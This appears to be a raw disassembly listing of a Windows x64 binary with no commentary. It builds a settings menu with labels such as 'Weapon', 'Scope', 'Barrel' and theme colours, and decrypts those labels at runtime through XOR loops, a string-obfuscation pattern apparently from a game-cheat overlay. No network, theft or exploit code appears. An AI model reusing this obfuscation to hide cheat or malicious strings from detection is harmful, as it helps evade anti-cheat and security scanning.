cmp byte [0x1400aeff4], 1
jne 0x14006d26b
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006d242
lea rcx, str.Scale_X
call fcn.1400161e0
cmp byte [0x1400aeff4], 1
jne 0x14006d26b
cmp byte [0x1400aef77], 1
jne 0x14006d26b
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006d26b
lea rcx, [0x1400a0140]
call fcn.1400161e0
lea rdx, [rbp + 0x230]
mov byte [rbp - 0x29], 0
lea rcx, [rbp - 0x29]
mov byte [rbp - 0x28], 0
call fcn.140088000
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14006d2a6
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor al, 0x36
mov byte [rbx + 5], al
lea rdx, [rbp + 0xc4]
lea rcx, [rbp - 0x28]
call fcn.140088240
movzx ecx, byte [rax + 2]
test cl, cl
je 0x14006d2cb
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor cl, 0x33
mov byte [rax + 2], cl
mov r9d, 5
mov dword [rsp + 0x28], edi
lea rdx, [0x1400ae300]
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea r8d, [r9 - 4]
call fcn.140045db0
cmp byte [0x1400aeff4], 1
jne 0x14006d336
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006d30d
lea rcx, str.Scale_Y
call fcn.1400161e0
cmp byte [0x1400aeff4], 1
jne 0x14006d336
cmp byte [0x1400aef77], 1
jne 0x14006d336
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006d336
lea rcx, str.__Y
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x14006d3ed
lea rdx, [rbp + 0x7a0]
mov byte [rbp - 0x27], 0
lea rcx, [rbp - 0x27]
call fcn.140088260
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14006d38c
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor cl, 0x3b
mov byte [rax + 0xa], cl
mov r9d, 0xd
mov dword [rsp + 0x20], 7
lea r8, [0x1400ae430]
mov rcx, rax
lea rdx, [0x1400b4cac]
call fcn.140044700
cmp byte [0x1400ae053], 1
jne 0x14006d3cd
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x14006d3ed
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006d3ed
lea rcx, str.Weapon
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x14006d5f7
lea rdx, [rbp + 0xec0]
mov byte [rbp - 0x26], 0
lea rcx, [rbp - 0x26]
call fcn.140088290
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x14006d5b3
mov r8d, edi
cmp esi, 2
jl 0x14006d573
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov edx, edi
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, r10
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm8, eax
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x14006d470
jmp 0x14006d5b3
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14006d580
mov r9d, 0xd
mov dword [rsp + 0x20], 7
lea r8, [0x1400ae390]
mov rcx, r10
lea rdx, [0x1400b4cac]
call fcn.140044700
cmp byte [0x1400aeff4], 1
jne 0x14006d5f7
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006d5f7
lea rcx, [0x1400a0198]
call fcn.1400161e0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0xac]
mov byte [rbp - 0x25], 0
lea rcx, [rbp - 0x25]
call fcn.1400882a0
movzx ecx, byte [rax + 1]
test cl, cl
je 0x14006d629
xor byte [rax], 0x31
xor cl, 0x32
mov byte [rax + 1], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 0
je 0x14006d6c7
lea rdx, [rbp + 0x670]
mov byte [rbp - 0x24], 0
lea rcx, [rbp - 0x24]
call fcn.1400882b0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14006d683
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor cl, 0x3a
mov byte [rax + 9], cl
mov r9d, 5
mov dword [rsp + 0x20], 7
lea r8, [0x1400ae2a8]
mov rcx, rax
lea rdx, [0x1400b40f8]
call fcn.140044700
cmp byte [0x1400aeff4], 1
jne 0x14006d6c7
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006d6c7
lea rcx, str.Scope
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x14006d89e
lea rdx, [rbp + 0x7c0]
mov byte [rbp - 0x23], 0
lea rcx, [rbp - 0x23]
call fcn.1400882d0
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x14006d851
mov r8d, edi
cmp esi, 2
jl 0x14006d811
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14006d820
mov r9d, 5
mov dword [rsp + 0x20], 7
lea r8, [0x1400ae308]
mov rcx, r10
lea rdx, [0x1400b40f8]
call fcn.140044700
cmp byte [0x1400aeff4], 1
jne 0x14006d89e
cmp byte [0x1400aef77], 1
jne 0x14006d89e
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006d89e
lea rcx, [0x1400a01b0]
call fcn.1400161e0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0xb0]
mov byte [rbp - 0x22], 0
lea rcx, [rbp - 0x22]
call fcn.1400882f0
movzx ecx, byte [rax + 1]
test cl, cl
je 0x14006d8d0
xor byte [rax], 0x31
xor cl, 0x32
mov byte [rax + 1], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 0
je 0x14006d972
lea rdx, [rbp + 0x7b0]
mov byte [rbp - 0x21], 0
lea rcx, [rbp - 0x21]
call fcn.140088300
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14006d92e
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor cl, 0x3b
mov byte [rax + 0xa], cl
mov r9d, 2
mov dword [rsp + 0x20], 0xffffffff
lea r8, [0x1400ae410]
mov rcx, rax
lea rdx, [0x1400b464c]
call fcn.140044700
cmp byte [0x1400aeff4], 1
jne 0x14006d972
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006d972
lea rcx, str.Barrel
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x14006db7e
lea rdx, [rbp + 0x16c8]
mov byte [rbp - 0x20], 0
lea rcx, [rbp - 0x20]
call fcn.140088330
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x14006db31
mov r8d, edi
cmp esi, 2
jl 0x14006daf9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x14006d9f0
cmp r8d, 0x12
jge 0x14006db31
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14006db00
mov r9d, 2
mov dword [rsp + 0x20], 0xffffffff
lea r8, [0x1400ae420]
mov rcx, r10
lea rdx, [0x1400b464c]
call fcn.140044700
cmp byte [0x1400aeff4], 1
jne 0x14006db7e
cmp byte [0x1400aef77], 1
jne 0x14006db7e
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006db7e
lea rcx, [0x1400a01c8]
call fcn.1400161e0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0xb4]
mov byte [rbp - 0x1f], 0
lea rcx, [rbp - 0x1f]
call fcn.140088350
movzx ecx, byte [rax + 1]
test cl, cl
je 0x14006dbb0
xor byte [rax], 0x31
xor cl, 0x32
mov byte [rax + 1], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 0
lea rax, str.Black
mov qword [rbp + 0x9b60], rax
lea rax, str.White
mov qword [rbp + 0x9b68], rax
lea rax, [0x1400a01e8]
mov qword [rbp + 0x9b50], rax
lea rax, str.
mov qword [rbp + 0x9b58], rax
je 0x14006dc93
lea rdx, [rbp + 0x238]
mov byte [rbp - 0x1e], 0
lea rcx, [rbp - 0x1e]
call fcn.140088360
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14006dc32
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
mov r9d, 2
mov dword [rsp + 0x20], 0xffffffff
lea r8, [rbp + 0x9b60]
mov rcx, rax
lea rdx, [0x1400b5558]
call fcn.140044700
cmp byte [0x1400ae053], 1
jne 0x14006dc73
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x14006dc93
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006dc93
lea rcx, str.Your_Theme
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x14006dd25
lea rdx, [rbp + 0x610]
mov byte [rbp - 0x1d], 0
lea rcx, [rbp - 0x1d]
call fcn.140088380
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14006dce1
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor cl, 0x39
mov byte [rax + 8], cl
mov r9d, 2
mov dword [rsp + 0x20], 0xffffffff
lea r8, [rbp + 0x9b50]
mov rcx, rax
lea rdx, [0x1400b5558]
call fcn.140044700
cmp byte [0x1400aeff4], 1
jne 0x14006dd25
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006dd25
lea rcx, [0x1400a0218]
call fcn.1400161e0
mov eax, dword [0x1400b5558]
test eax, eax
jne 0x14006e3e4
movss xmm7, dword [0x1400a1e98]
lea rcx, [rbp + 0xef0]
movss xmm3, dword [0x1400a1ea0]
movaps xmm2, xmm7
movaps xmm1, xmm7
movss dword [rsp + 0x20], xmm10
call fcn.140002ff0
movss xmm3, dword [0x1400a1e14]
lea rcx, [rbp + 0xf00]
movss xmm2, dword [0x1400a1e00]
movss xmm1, dword [0x1400a1e04]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm10
movups xmmword [r14 + 0x16fc], xmm0
call fcn.140002ff0
movss xmm8, dword [0x1400a1dc4]
lea rcx, [rbp + 0xf10]
movss xmm2, dword [0x1400a1dbc]
movaps xmm3, xmm8
movss xmm1, dword [0x1400a1dc0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm10
movups xmmword [r14 + 0x170c], xmm0
call fcn.140002ff0
movss xmm6, dword [0x1400a1dcc]
lea rcx, [rbp + 0xf20]
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm8
movaps xmm1, xmm8
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x171c], xmm0
call fcn.140002ff0
movss xmm1, dword [0x1400a1eb0]
lea rcx, [rbp + 0xf30]
movss xmm3, dword [0x1400a1ea0]
movaps xmm2, xmm7
movss dword [rsp + 0x20], xmm1
movaps xmm1, xmm7
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x173c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1eb0]
lea rcx, [rbp + 0xf40]
movss xmm2, dword [0x1400a1eb8]
movss xmm1, dword [0x1400a1ebc]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm9
movups xmmword [r14 + 0x174c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1dd8]
lea rcx, [rbp + 0xf50]
movss xmm1, dword [0x1400a1dd0]
movaps xmm2, xmm6
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x175c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1e14]
lea rcx, [rbp + 0xf60]
movss xmm2, dword [0x1400a1e00]
movss xmm1, dword [0x1400a1e04]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm10
movups xmmword [r14 + 0x176c], xmm0
call fcn.140002ff0
movss xmm6, dword [0x1400a1e58]
lea rcx, [rbp + 0xf70]
movss xmm3, dword [0x1400a1e5c]
movaps xmm2, xmm6
movaps xmm1, xmm6
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x177c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1dd8]
movss xmm2, dword [0x1400a1dcc]
movss xmm1, dword [0x1400a1dd0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm10
movups xmmword [r14 + 0x178c], xmm0
lea rcx, [rbp + 0xf80]
call fcn.140002ff0
movss xmm3, dword [0x1400a1ec4]
lea rcx, [rbp + 0xf90]
movss xmm2, dword [0x1400a1ecc]
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x179c], xmm0
movss xmm0, dword [0x1400a1e88]
movss dword [rsp + 0x20], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1dcc]
lea rcx, [rbp + 0xfa0]
movaps xmm2, xmm8
movss dword [rsp + 0x20], xmm10
movaps xmm1, xmm8
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17bc], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1dd8]
lea rcx, [rbp + 0xfb0]
movss xmm2, dword [0x1400a1dcc]
movss xmm1, dword [0x1400a1dd0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm10
movups xmmword [r14 + 0x17ac], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1dbc]
lea rcx, [rbp + 0xfc0]
movss xmm1, dword [0x1400a1dc0]
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17cc], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1dbc]
lea rcx, [rbp + 0xfd0]
movss xmm1, dword [0x1400a1dc0]
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17dc], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1dbc]
lea rcx, [rbp + 0xfe0]
movss xmm1, dword [0x1400a1dc0]
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17ec], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1dbc]
lea rcx, [rbp + 0xff0]
movss xmm1, dword [0x1400a1dc0]
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17fc], xmm0
call fcn.140002ff0
movss xmm1, dword [0x1400a1e1c]
lea rcx, [rbp + 0x1000]
movss xmm3, dword [0x1400a1ea0]
movaps xmm2, xmm7
movss dword [rsp + 0x20], xmm1
movaps xmm1, xmm7
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x180c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1ea0]
lea rcx, [rbp + 0x1010]
movaps xmm2, xmm7
movaps xmm1, xmm7
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x181c], xmm0
movss xmm0, dword [0x1400a1e1c]
movss dword [rsp + 0x20], xmm0
call fcn.140002ff0
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm8
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x186c], xmm0
movss xmm2, dword [0x1400a1dbc]
lea rcx, [rbp + 0x1020]
movss xmm1, dword [0x1400a1dc0]
call fcn.140002ff0
movss xmm7, dword [0x1400a1dcc]
lea rcx, [rbp + 0x1030]
movss xmm3, dword [0x1400a1dd8]
movaps xmm2, xmm7
movss xmm1, dword [0x1400a1dd0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm10
movups xmmword [r14 + 0x187c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1e14]
lea rcx, [rbp + 0x1040]
movss xmm2, dword [0x1400a1e00]
movss xmm1, dword [0x1400a1e04]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm10
movups xmmword [r14 + 0x188c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1e5c]
lea rcx, [rbp + 0x1050]
movaps xmm2, xmm6
movss dword [rsp + 0x20], xmm10
movaps xmm1, xmm6
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x189c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1dd8]
lea rcx, [rbp + 0x1060]
movss xmm1, dword [0x1400a1dd0]
movaps xmm2, xmm7
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x18ac], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1e5c]
lea rcx, [rbp + 0x1070]
movaps xmm2, xmm6
movss dword [rsp + 0x20], xmm10
movaps xmm1, xmm6
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x18bc], xmm0
call fcn.140002ff0
movss xmm7, dword [0x1400a1dc0]
lea rcx, [rbp + 0x1080]
movss xmm2, dword [0x1400a1dbc]
movaps xmm3, xmm8
movaps xmm1, xmm7
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x18cc], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm9
movaps xmm2, xmm9
lea rcx, [rbp + 0x1090]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x18dc], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1e5c]
lea rcx, [rbp + 0x10a0]
movaps xmm2, xmm6
movss dword [rsp + 0x20], xmm10
movaps xmm1, xmm6
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x191c], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1dbc]
lea rcx, [rbp + 0x10b0]
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm10
movaps xmm1, xmm7
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x192c], xmm0
call fcn.140002ff0
movss xmm1, dword [0x1400a1e70]
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x193c], xmm0
movss xmm8, dword [0x1400a1e30]
lea rcx, [rbp + 0x10c0]
movss xmm7, dword [0x1400a1e34]
movaps xmm2, xmm8
movss xmm3, dword [0x1400a1e2c]
movss dword [rsp + 0x20], xmm1
movaps xmm1, xmm7
call fcn.140002ff0
movss xmm6, dword [0x1400a1e08]
lea rcx, [rbp + 0x10d0]
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm10
movaps xmm1, xmm6
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x19bc], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1e2c]
lea rcx, [rbp + 0x10e0]
movaps xmm2, xmm8
movaps xmm1, xmm7
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x19cc], xmm0
movss xmm0, dword [0x1400a1e70]
movss dword [rsp + 0x20], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm10
lea rcx, [rbp + 0x10f0]
movaps xmm1, xmm6
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x19dc], xmm0
call fcn.140002ff0
movaps xmm2, xmm10
lea rcx, [rbp + 0x1100]
movaps xmm1, xmm6
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x19ec], xmm0
movss xmm0, dword [0x1400a1e3c]
movss dword [rsp + 0x20], xmm0
jmp 0x14006e9a4
cmp eax, 1
jne 0x14006e9bd
movss xmm0, dword [0x1400a1e4c]
lea rcx, [rbp + 0x1110]
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm0
movaps xmm2, xmm9
movaps xmm1, xmm9
call fcn.140002ff0
lea rcx, [rbp + 0xd10]
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x16fc], xmm0
movss xmm0, dword [0x1400a1e04]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002ff0
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm10
lea rcx, [rbp + 0x1120]
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x170c], xmm0
call fcn.140002ff0
lea rcx, [rbp + 0x1130]
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x171c], xmm0
movss xmm0, dword [0x1400a1ebc]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002ff0
lea rcx, [rbp + 0x1140]
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x173c], xmm0
movss xmm0, dword [0x1400a1ea8]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm9
movaps xmm2, xmm9
lea rcx, [rbp + 0x1150]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x174c], xmm0
call fcn.140002ff0
lea rcx, [rbp + 0x1160]
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x175c], xmm0
movss xmm0, dword [0x1400a1eb0]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002ff0
lea rcx, [rbp + 0x1170]
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x176c], xmm0
movss xmm0, dword [0x1400a1e9c]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002ff0
lea rcx, [rbp + 0x1180]
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x177c], xmm0
movss xmm0, dword [0x1400a1e8c]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002ff0
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x178c], xmm0
movaps xmm2, xmm10
lea rcx, [rbp + 0x1190]
movaps xmm1, xmm10
call fcn.140002ff0
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm10
lea rcx, [rbp + 0x11a0]
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x179c], xmm0
